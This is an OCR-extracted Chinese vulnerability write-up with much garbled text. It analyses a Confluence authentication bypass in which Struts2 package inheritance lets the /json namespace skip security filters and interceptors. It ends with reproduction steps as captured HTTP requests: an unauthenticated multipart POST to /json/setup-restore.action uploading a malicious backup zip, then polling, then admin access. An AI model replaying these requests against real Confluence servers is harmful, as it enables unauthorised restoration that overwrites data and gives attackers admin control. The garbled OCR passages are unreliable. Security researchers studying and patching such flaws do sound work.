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e https://struts.apache.org/core-developers/package-configuration.html

Package Configuration

Packages are a way to group actions, results, result types, interceptors, and interceptor-stacks into a logical configuration unit. Conceptually, packages
are similar to objects in that they can be extended and have individual parts that can be overridden by “sub” packages.

Packages

The package element has one required attribute name , which acts as the key for later reference to the package. The extends attribute is optional and

allows one package to inherit the configuration of one or more previous packages

¢ including all interceptor, interceptor-stack, and action configurations.

Note that the configuration file is processed sequentially down the document, so the package referenced by an “extends” should be defined above the

package which extends it.

including all interceptor, interceptor-stack, and action configurations.


https://struts.apache.org/core-developers/package-configuration.html

£ package H4kFR, SUYRBXECEBIE action WECE

54 demo HBEHIEAR

e struts.xml

<?xml version="1.0" encoding="UTF-8"?2>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
<package name="secret" extends="struts-default" namespace="/admin">
<action name="secret" class="org.example.SecretAction">
<result name="success">secret.jsp</result>
</action>

</package>

<package name="noauth" extends="secret" namespace="/noauth">
</package>
</struts>

e web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app 4 0.xsd"
version="4.0">
<filter>
<filter-name>security</filter-name>
<filter-class>org.example.SecurityFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>security</filter-name>
<url-pattern>/admin/*</url-pattern>

</filter-mapping>

<filter>

<filter-name>struts2</filter-name>



<filter-
class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</fil
ter-class>

</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

</web-app>

R LECE, 158 /admin/secret.action Bf, &# SecurityFilter 32&;

Request Response

Pretty Raw Hex = \n = Pretty Raw Hex Render
1 GET /admin/secret.action HTTP/1.1 1 403

2 Host: localhost:9090 2

3 Content-Length: 2

4

5

BUNRIENEFEE— T TBELENA namespace B #/&T secret package , %%l demo struts.xml &
noauth MECE, AINTA(G)

Request Response

Pretty Raw Hex =] \n = Pretty Raw Hex Render

1 GET /noauthf/secret.action 1 this is admin secret!
HTTP/1.1 2

2 Host: localhost:9090
3 Content-Length: 2
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Confluencef A&l

confluence RIS EEE filter A interceptor, Em X EIATSLENATMS

* com.atlassian.seraph.filter.SecurityFilter

* com.atlassian.confluence.security.actions.PermissionCheckinterceptor
* com.atlassian.confluence.setup.actions.SetupCheckinterceptor

* com.atlassian.confluence.user.actions.UserAwarelnterceptor

* com.atlassian.confluence.security.interceptors.ConfluenceAccessinterceptor

1. SecurityFilter
SecurityFilter B1d seraph-paths.xml $3J admin 8% & HH1TEN
e /admin/*.jsp

e /admiin/*

<security-paths>

<path name="adminJspPath">
<url-pattern>/admin/*.jsp</url-pattern>
<role-name>admin_jsp role</role-name>

</path>

<path name="admin">
<url-pattern>/admin/*</url-pattern>
<role-name>confluenceadmin_ seraph role</role-name>

</path>

</security-paths>



>h_atlassian-seraph-4.1.0.jar /= com = atlassian = seraph = filter = ‘€ SecurityFilter

€ SecurityFilter.class

Decompiled .class file, bytecode version: 52.0 (Java 8) Downlc
86 Set<String> requiredRoles = new HashSet(); requiredRoles: size = 0

87 Set<String> missingRoles = new HashSet();

88 (M Iterator varll = this.getSecurityConfig().getServices().iterator();

89

90 while(varll.hasNext()) {

91 SecurityService service = (SecurityService)varll.next(); service: PathService@67295

92 ---- Set<String> serviceRoles = service.getRequiredRoles(httpServletRequest); httpServlietRequest: Baseld
93 requiredRoles.addAll(serviceRoles);

94 +

95

Evaluate expression (¢) or add a watch (e%2)

> Collections$UnmodifiableCollection$1.next() = {PathService@67295}

o1 dbg = false
> httpServietRequest = {BaseLoginFilter$SecurityHttpRequestWrapper@67285}
requiredRoles = {HashSet@67291} size =0
v service = {PathService@67295}
f configFileLocation = {String@67296} "seraph-paths.xml"
% pathMapper = {CachedPathMapper@67297} ... toString()
v % paths = {ConcurrentHashMap@67298} size = 2
> {String@67304} "adminJspPath" -> {String[1]@67305} ["admin_jsp_role"]
> {String@67306} "admin" -> {String[1]@67307} ["confluenceadmin..."]
> this = {ConfluenceSecurityFilter@67272}

v v

2, PermissionCheckinterceptor

PermissionCheckinterceptor BT isPermitted 5/AGEINIR, Actiond#FAIR FERisPermitted/57E
EREAFPER, NRFHEActionBE TisPermitted 5% BiREltruell) v AR FARRANIAGE

3. SetupCheckinterceptor

SetupCheckinterceptor X“NE CVE-2023-22515 BEZREIN T, FTEHX /setup/* X EHHITE
*RO

4. UserAwarelnterceptor

UserAwarelnterceptor £¥I¥fFRIAE)AIActionE 2T UserAware IZORYSLINZE, MR ENEEIR;
M struts.xml FTBATSE UserAware # [#YSCINEEAERTE namespace="/users" T,



v < users:package extends="default" namespace="/users"
> <> addpagenotification:action class="com.atlassian.confluence.user.actions.EditNotificationsAction" method="doAddPageNotification"
{> addpagenotificationajax:action class="com.atlassian.confluence.user.actions.EditNotificationsAction" method="doAddPageNotification"
{> addspacenotification:action class="com.atlassian.confluence.user.actions.EditNotificationsAction" method="doAddSpaceNotification"
{> addspacenotificationajax:action class="com.atlassian.confluence.user.actions.EditNotificationsAction" method="doAddSpaceNotification"
{> changemypassword:action class="com.atlassian.confluence.user.actions.ChangeMyPasswordAction" method="doDefault"
{> darkfeatures:action class="com.atlassian.confluence.user.actions.UserDarkFeaturesAction" method="doDefault"
{> disabledarkfeature:action class="com.atlassian.confluence.user.actions.UserDarkFeaturesAction" method="doRemove"
{> dochangemypassword:action class="com.atlassian.confluence.user.actions.ChangeMyPasswordAction"
{> doeditmyeditorsettings:action class="com.atlassian.confluence.user.actions.EditorSettingsAction"
{> doeditmyemailsettings:action class="com.atlassian.confluence.user.actions.EditEmailSettingsAction"
{> doeditmyprofile:action class="com.atlassian.confluence.user.actions.EditMyProfileAction" method="doEdit"
<> doeditmysettings:action class="com.atlassian.confluence.user.actions.EditMySettingsAction" method="doEdit"

Vv V VvV V V vV V V V VYV

5. ConfluenceAccessinterceptor
ConfluenceAccessinterceptor FZEH|KFATIAAIAYACtionZE . HAiEE S HFEM T EEH1THERR

® PublicAccess

® RequiresAnyConfluenceAccess

® RequiresLicensedOrAnonymousConfluenceAccess

® RequiresLicensedConfluenceAccess

MFRRB BN ARG, WTIFNELSAE, MRFATHERIEERBHEMU EMNaF, NiZ Action
PIAREZINA(E),

X OpenSearchDescriptorAction fl, E7E struts.xml fAIEXEELU T

<interceptor-stack name="opensearch">
<interceptor-ref name="securityHeaders"/>
<interceptor-ref name="transaction"/>
<interceptor-ref name="params"/>
<interceptor-ref name="autowire"/>
<interceptor-ref name="lastModified"/>
<interceptor-ref name="servlet"/>
<interceptor-ref name="loggingContext"/>

</interceptor-stack>

<package name="opensearch" extends="default" namespace="/opensearch">
<default-interceptor-ref name="opensearch"/>
<action name="osd"
class="com.atlassian.confluence.impl.search.actions.OpenSearchDescriptorAction">
<result name="success" type="velocity-xml">/search/osd.xml</result>
</action>

</package>


https://docs.atlassian.com/ConfluenceServer/javadoc/6.15.8/com/atlassian/confluence/security/access/annotations/PublicAccess.html
https://docs.atlassian.com/ConfluenceServer/javadoc/6.15.8/com/atlassian/confluence/security/access/annotations/RequiresAnyConfluenceAccess.html
https://docs.atlassian.com/ConfluenceServer/javadoc/6.15.8/com/atlassian/confluence/security/access/annotations/RequiresLicensedOrAnonymousConfluenceAccess.html
https://docs.atlassian.com/ConfluenceServer/javadoc/6.15.8/com/atlassian/confluence/security/access/annotations/RequiresLicensedConfluenceAccess.html
https://docs.atlassian.com/ConfluenceServer/javadoc/6.15.8/com/atlassian/confluence/impl/security/access/ActionAccessChecker.html

* namespace y /opensearch, ;&H# SecurityFilter ] SetupCheckinterceptor @

* interceptor-stack /y opensearch, A~E& PermissionCheckInterceptor .

UserAwarelnterceptor, ConfluenceAccessinterceptor, FRLARS#EAD

Fitk, /opensearch/osd.action 28] AKRIZINIHEH

Request Response m -
Pretty Raw Hex \n = Pretty Raw Hex Render \n
1 GET /opensearch/osd.action HTTP/1.1 15 <?xml version="1.0" encoding="UTF-8"7?>
2 Host: 10.37.129.14:8090 16  <OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/">
3 17 <ShortName>
Confluence
</ShortName>
18 <Description>

Atlassian Confluence Search Provider
</Description>

i 73 A
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Structure

£ 57
v O struts
I > <> admin:package extends="setup" namespace="/admin" I

{> ajax:package extends="default" namespace="/ajax"

<> bootstrap:package extends="default" namespace="/bootstrap"

{> default:bean class="com.atlassian.confluence.setup.struts.ConfluenceVelocityManager" optional="true"

< default:package

<> draftchanges:package extends="default" namespace="/draftchanges"

{> feeds:package extends="default" namespace="/feeds"

<> fixonly:package extends="default" namespace="/fixonly"

{> jakarta-confluence:bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" class="com.atlassian.confluence.impl.struts.ConfluenceJakartaMultiPartRequest" scope="prototype"
{> json:package extends="admin" namespace="[json"

<> labels:package extends="default" namespace="/labels"

<> mailservers:package extends="default" namespace="/admin/mail"

<> opensearch:package extends="default" namespace="/opensearch"

< pages:package extends="default" namespace ages"

<> panels:package extends="default" namespace="/panels"

<> setup:package extends="default" namespace="/setup"

{> spaces:package extends="default" namespace="/spaces"

< struts.action.excludePattern:constant value=""/rest/.* */plugins/serviet/*"

<> struts.additional.excludedPatterns:constant value=""action(Errors|Messages)”

{> struts.configuration:constant value="com.atlassian.confluence.impl.struts.ConfluenceStrutsConfigurationProvider"
<> struts.disableRequestAttributeValueStackLookup:constant value="true"

< struts.excludedClasses:constant value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang
< struts.excludedPackageNames:constant value=" ognl., java.io., java.net., java.nio., javax., freemarker.core., freemarker.template.,
< struts.exclusionExemptClasses:constant value="com.atlassian.confluence.util.GeneralUtil, java.io.Serializable, java.lang.reflect.Proxy, net.sf.cglib.proxy.Factory,

<> struts.i18n.reload:constant value="${confluence.i18n.reloadbundles}"

<> struts.multipart.maxFileSize:constant value="104857600"

< struts.multipart.maxSize:constant value="104857600"

< struts.multipart.parser:constant value="jakarta-confluence”

{> struts.objectFactory.actionFactory:constant value="com.atlassian.confluence.impl.struts.PluginAwareActionFactory"

{> struts.objectFactory.interceptorFactory:constant value="com.atlassian.confluence.impl.struts.PluginAwarelnterceptorFactory"
{> struts.objectFactory.resultFactory:constant value="com.atlassian.confluence.impl.struts.PluginAwareResultFactory"

{> struts.objectFactory:constant value="com.opensymphony.xwork2.0bjectFactory"

< struts.ognl.expressionMaxLength:constant value="200"

< struts.tag.altSyntax:constant value="false"

< struts.ui.templateSuffix:constant value="vm

< struts.ui.theme:constant value="aui"

< struts.velocity.manager.classname:constant value="com.atlassian.confluence.setup.struts.ConfluenceVelocityManager"
< struts.xwork.chaining.copyErrors:constant value="true"

{> styles:package extends="default" namespace="/styles"

<> usermanagement:package extends="default" namespace="/admin/users"

<> users:package extends="default" namespace="/users"

VVVVVVVYVVVYVVYVYVVYVVYVYVVYVVYVYVVYVYVYVYVYYVVvIvVyyyvyvyyvy

£ struts.xml FRIZTEF4LL package ki
® json ->admin -> setup
<package name="setup" extends="default" namespace="/setup">

<package name="admin" extends="setup" namespace="/admin">

<package name="json" extends="admin" namespace="/json">

R E IR A SRR A B

T package 4% AT action th&# A&, namespace="/json" B IAZEEBAFA 1521 SecurityFilter F[1
SetupCheckinterceptor B93Z#; , LS RZETE/R namespace="/setup" 1 namespace="/admin" T
T R4 PermissionCheckinterceptor/UserAwarelnterceptor/ConfluenceAccessinterceptor
apFRAActionBI A,

X com.atlassian.confluence.importexport.actions.SetupRestoreAction /945l



<package name="setup" extends="default" namespace="/setup">
<default-interceptor-ref name="validatingSetupStack"/>
<action name="setup-restore-start"”

class="com.atlassian.confluence.importexport.actions.SetupRestoreAction"
method="doDefault">

<interceptor-ref name="defaultSetupStack"/>

<result name="input" type="velocity">/setup/restore.vm</result>
</action>

IEETha)
* % SetupCheckinterceptor apH, =&

Request

Response m =im
Pretty Raw Hex \n = Pretty Raw Hex Render <> \n
1 POST /setup/setup-restore-start.action HTTP/1.1
g Host: 10.37.129.14:8090 Conﬂuence
4
.
Setup is already complete
Your confluence instance is already completely setup.
Yy p y p
Return to Confluence.
Atlassian
@@ &||>] | Search... 0 matches
FF package extend 4514
e 4%3d SetupCheckinterceptor
Request Response m =im
Pretty Raw Hex \n = Pretty Raw Hex Render = \n =
1 POST./json/setup—r?store—start.action HTTP/1.1 . .
Z|sts 18.37.129.14:8699 Your confluence instance is already completely setup.
4
Return to Confluence.

I B TAERE 2 HEI— P AT A — 5 FIFY Action %,
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T A S # PermissionCheckinterceptor/UserAwarelnterceptor/ConfluenceAccessinterceptor @p
FRYActionzE BT BAUE— S FIFRIACtion BIRT, BAIRIEIKEISEN Action ZEIE?
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e PermissionCheckinterceptor BJ¥IET{k1E -> isPermitted AR [EI1E
e UserAwarelnterceptor FJFIRTHIE -> R & A UserAwaref L E
* ConfluenceAccessinterceptor FI$IETKIE -> @5 B = BRIXBRAYEAR

BATRIMERXFEE T isPermitted 57AR Action 25, BIRIERIT MM HIBTAKIE——3QIERD ],

* RRMIFFLAEIREY idea ITHEES
* RMEFTEHIZEEE return true; BlF]

Choose Overriding Method of isPermitted (183 Methods Found) [m]

AbstractBackupRestoreAction (com.atlassian.confluence.importexport.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar)
©) AbstractCommandAction (com.atlassian.confluence.pages.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractConfigurePdfExportAction (com.atlassian.confluence.extra.flyingpdf.config) atlassian-bundled-plugins (com.atlassian.confluence.extra.confluence-flyingpdf-plugin-9.0.0.jar) K
©) AbstractDiffPagesAction (com.atlassian.confluence.pages.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractEditPageAction (com.atlassian.confluence.pages.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractFlushIndexQueueAction (com.atlassian.confluence.inpl.search.actions) 1ib (com.atlassian.confluence_confluence-8.0.08.jar) K
€ AbstractGroupAction (com.atlassian.confluence.user.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractLookAndFeelAction (com.atlassian.confluence.admin.actions.lookandfeel) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractPageAwareAction (com.atlassian.confluence.pages.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractPageTemplateAction (com.atlassian.confluence.plugins. templates.actions) atlassian-bundled-plugins (com.atlassian.confluence.plugins.confluence-templates-8.0.0.jar) K
€ AbstractPermissionsAction (com.atlassian.confluence.plugins.gatekeeper.controllers) atlassian-bundled-plugins (com.atlassian.confluence.plugins.gatekeeper.gatekeeper-plugin-3.0.3.jar) K
© AbstractSearchCrowdUsersAction (com.atlassian.confluence.user.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractSetupAction (com.atlassian.confluence.setup.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
©) AbstractSetupEmailAction (com.atlassian.confluence.setup.actions) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K
€ AbstractSpaceActmn (com.atlassian.confluence.spaces. GCthﬂS) 1ib (com.atlassian.confluence_confluence-8.0.0.jar) K

P T Y, R Sy P \ Uik frm atlacnian annElianan aamElianan © 0 0 dan)

BB LA E 7 ERI AE (Rl SetupRestoreAction, B E XS A B R34 /setup/restore.vm BIA T R ELIN
g, AT MEARNSNEIEHITER

e com.atlassian.confluence.importexport.actions.SetupRestoreAction

FAER: AhEEMERHITER (CEEEREE) , ERARENEBTHITSN, MMREERIE
BEEANR, BASEAMAHIT RCE.,
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1. BABMXHE, BINGESIRE taskld (d38d9a0f-2b13-4f8b-ad8d-d1a367f22faa)



Request

Pretty Raw Hex

1 POST /json/setup-restore.action HTTP/1.1

2 Host: 10.37.129.14:8090

3 X-Atlassian-Token: no-check

4 Content-Type: multipart/form-data; boundary=----------=———-———cccuu 240838548613901374911721589419
5 Content-Length: 210884

6 Connection: close

7

8 240838548613901374911721589419
9 Content-Disposition: form-data; name="buildIndex"

10
11 true
12 240838548613901374911721589419

13 Content-Disposition: form-data; name="file"; filename="xmlexport-evil.zip"
14 Content-Type: application/zip

15

®{§} & ||| | Search...
Response

Pretty Raw Hex Render

5 Set-Cookie: JSESSIONID=11647589D546679D8C386AD0B49BA793; Path=/; HttpOnly
6 X-XSS-Protection: 1; mode=block
7 X-Content-Type-Options: nosniff
8 X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self
10 X-Seraph-LoginReason: OUT
11 Location: /json/setup-restore-progress.action?taskId=d38d9a0f-2b13-4f8b-ad8d-dla367f22faa
12 Content-Type: text/html;charset=UTF-8
13 Content-Language: zh-CN

©

2. 1RYE taskld AITEA T ROF| BT E S T RTTH

e percentComplete J91008F A R5EH

Request
Pretty Raw Hex \n =
1 GET /longrunningtaskxml.action?taskId=d38d9a0f-2b13-4f8b-ad8d-dla367f22faa HTTP/1.1

N

Host: 10.37.129.14:8090

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:109.0) Gecko/20100101
Firefox/119.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close|

Content-Length: 2

w

H®WwooNOoO U A

o

3. MAEMXHNEERAKSELHITERET

<« C QO 8 10.37.129.14:8090/admin/users/showallusers.action?reset=true

& Confluence

= v AR BEEx oS el

IhREE

Response
Pretty Raw Hex
18 <task>
19 <name>
Importing data
</name>
20 <currentStatus>
Complete.
</currentStatus>
21 <elapsed>
37 seconds
</elapsed>
22 <remaining>
Unknown
</remaining>
23  <percentComplete>
100
</percentComplete>
24  <isSuccessful>
true
</isSuccessful>
25 </task>
26
B <« N £

Render

9D F ©

8w

0 matches

g @






	前置知识
	Struts2 Package Configuration
	Confluence的鉴权机制

	漏洞分析
	漏洞利用
	漏洞复现

